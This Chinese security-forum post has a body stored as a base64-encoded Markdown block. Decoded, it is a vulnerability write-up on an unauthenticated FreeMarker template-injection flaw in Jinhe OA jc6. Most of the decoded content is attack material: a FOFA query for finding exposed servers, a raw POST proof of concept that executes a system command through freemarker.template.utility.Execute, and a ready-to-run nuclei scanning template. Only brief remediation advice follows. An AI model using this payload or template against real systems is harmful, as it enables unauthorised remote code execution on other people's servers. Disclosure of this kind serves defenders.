论坛首页 > 技术文章投稿区 > 漏洞文章

金和OA jc6 viewConTemplate.action存在FreeMarker模板注入漏洞

我是大白 · 发表于 2024-03-14 21:01:23 · 漏洞文章

IyDph5HlkoxPQSBqYzYgdmlld0NvblRlbXBsYXRlLmFjdGlvbuWtmOWcqEZyZWVNYXJrZXLmqKHmnb/ms6jlhaXmvI/mtJ4KCiMjIOa8j+a0nuaPj+i/sAoK6YeR5ZKMT0EtamM2LXZpZXdDb25UZW1wbGF0ZS5hY3Rpb27mjqXlj6PlrZjlnKhGcmVlTWFya2Vy5qih5p2/5rOo5YWl5ryP5rSe77yM5pyq57uP6Lqr5Lu96aqM6K+B55qE5pS75Ye76ICF5Y+v5Lul5Yip55So5q2k5ryP5rSe6L+c56iL5Luj56CB5omn6KGM44CB5YaZ5YWl5ZCO6Zeo5paH5Lu277yM5a+86Ie05pyN5Yqh5Zmo5a2Y5Zyo6KKr5o6n55qE6aOO6Zmp44CCCgojIyDkuqflk4HnlYzpnaIKCgohW10oaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjEyMTIvZTg4ZjM3MWRlYWU5Y2Q5ZjExYTFkMzI4ODE5OTcxYzZfODcyMTcucG5nKQoKIyMgZm9mYeivreazlQoKYGJvZHk9Ii9qYzYvcGxhdGZvcm0vaW5kZXgvc3R5bGVzImAKCiMjIFBPQwoKYGBgClBPU1QgL2pjNi9wbGF0Zm9ybS9wb3J0YWx3Yi9wb3J0YWx3Yi1jb24tdGVtcGxhdGUhdmlld0NvblRlbXBsYXRlLmFjdGlvbiBIVFRQLzEuMQpIb3N0OiAKQWNjZXB0LUVuY29kaW5nOiBnemlwCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkCgptb2R1SWQ9MSZhbXA7Y29kZT0lMjUzQ2Nsb2IlMjUzRSUyNTI0JTI1N0IlMjUyMmZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlJTI1MjIlMjUzRm5ldyUyOCUyOSUyOCUyNTIyaXBjb25maWclMjUyMiUyOSUyNTdEJTI1M0MlMjUyRmNsb2IlMjUzRSZhbXA7dXVpZD0xCmBgYAoKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi9iOGVmMWZlYzg5YWNlMWQzYWUxM2IzY2FkZmRmZjBlYV80NDI3My5wbmcpCgojIyBudWNsZWnpqozor4EKCmBgYAppZDogamluaGUtT0EtamM2LXZpZXdDb25UZW1wbGF0ZS1SQ0UKCmluZm86CiAgbmFtZTog6YeR5ZKMT0EgamM2IHZpZXdDb25UZW1wbGF0ZS5hY3Rpb27lrZjlnKhGcmVlTWFya2Vy5qih5p2/5rOo5YWl5ryP5rSeCiAgYXV0aG9yOiBub2JvZHkKICBzZXZlcml0eTogY3JpdGljYWwKICBkZXNjcmlwdGlvbjogfAogICAg6YeR5ZKMT0EtamM2LXZpZXdDb25UZW1wbGF0ZS5hY3Rpb27mjqXlj6PlrZjlnKhGcmVlTWFya2Vy5qih5p2/5rOo5YWl5ryP5rSe77yM5pyq57uP6Lqr5Lu96aqM6K+B55qE5pS75Ye76ICF5Y+v5Lul5Yip55So5q2k5ryP5rSe6L+c56iL5Luj56CB5omn6KGM44CB5YaZ5YWl5ZCO6Zeo5paH5Lu277yM5a+86Ie05pyN5Yqh5Zmo5a2Y5Zyo6KKr5o6n55qE6aOO6Zmp44CCCiAgaW1wYWN0OiB8CiAgICDmnKrnu4/ouqvku73pqozor4HnmoTmlLvlh7vogIXlj6/ku6XliKnnlKjmraTmvI/mtJ7ov5znqIvku6PnoIHmiafooYwKICByZW1lZGlhdGlvbjogfAogICAg5Y2H57qn54mI5pys77yM5omT6KGl5LiBCiAgbWV0YWRhdGE6CiAgICB2ZXJpZmllZDogdHJ1ZQogICAgbWF4LXJlcXVlc3Q6IDMKICAgIGZvZmEtcXVlcnk6IGJvZHk9Ii9qYzYvcGxhdGZvcm0vaW5kZXgvc3R5bGVzIgogIHRhZ3M6IE9BLHJjZQoKcmVxdWVzdHM6CiAgLSByYXc6CiAgICAgIC0gfAogICAgICAgIFBPU1QgL2pjNi9wbGF0Zm9ybS9wb3J0YWx3Yi9wb3J0YWx3Yi1jb24tdGVtcGxhdGUhdmlld0NvblRlbXBsYXRlLmFjdGlvbiBIVFRQLzEuMQogICAgICAgIEhvc3Q6IHt7SG9zdG5hbWV9fQogICAgICAgIEFjY2VwdC1FbmNvZGluZzogZ3ppcAogICAgICAgIENvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkCiAgICAgICAgCiAgICAgICAgbW9kdUlkPTEmYW1wO2NvZGU9JTI1M0NjbG9iJTI1M0UlMjUyNCUyNTdCJTI1MjJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSUyNTIyJTI1M0ZuZXclMjglMjklMjglMjUyMmlwY29uZmlnJTI1MjIlMjklMjU3RCUyNTNDJTI1MkZjbG9iJTI1M0UmYW1wO3V1aWQ9MQogICAgICAgIAogICAgbWF0Y2hlcnM6CiAgICAgIC0gdHlwZTogZHNsCiAgICAgICAgZHNsOgogICAgICAgICAgLSBzdGF0dXNfY29kZSA9PSAyMDAgJmFtcDsmYW1wOyBjb250YWluc19hbGwoYm9keSwiIikKYGBgCgoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxMjEyLzQ2OGYzN2YxNWZlNWVkZmIyMjJkZWM1YzE5YTgwYTllXzkyOTIyLnBuZykKCiMjIOS/ruWkjeW7uuiurgoKLSDlu7rorq7ljYfnuqfliLDmnIDmlrDniYjmnKzmiJbmiZPooaXkuIEKLSDpnZ7lv4XopoHnpoHmraLlhaznvZHorr/pl67miJbnmb3lkI3ljZXorr/pl64=

打赏我,让我更有动力~

0 条回复 | 直到 2024-3-14 | 627 次浏览

登录后才可发表内容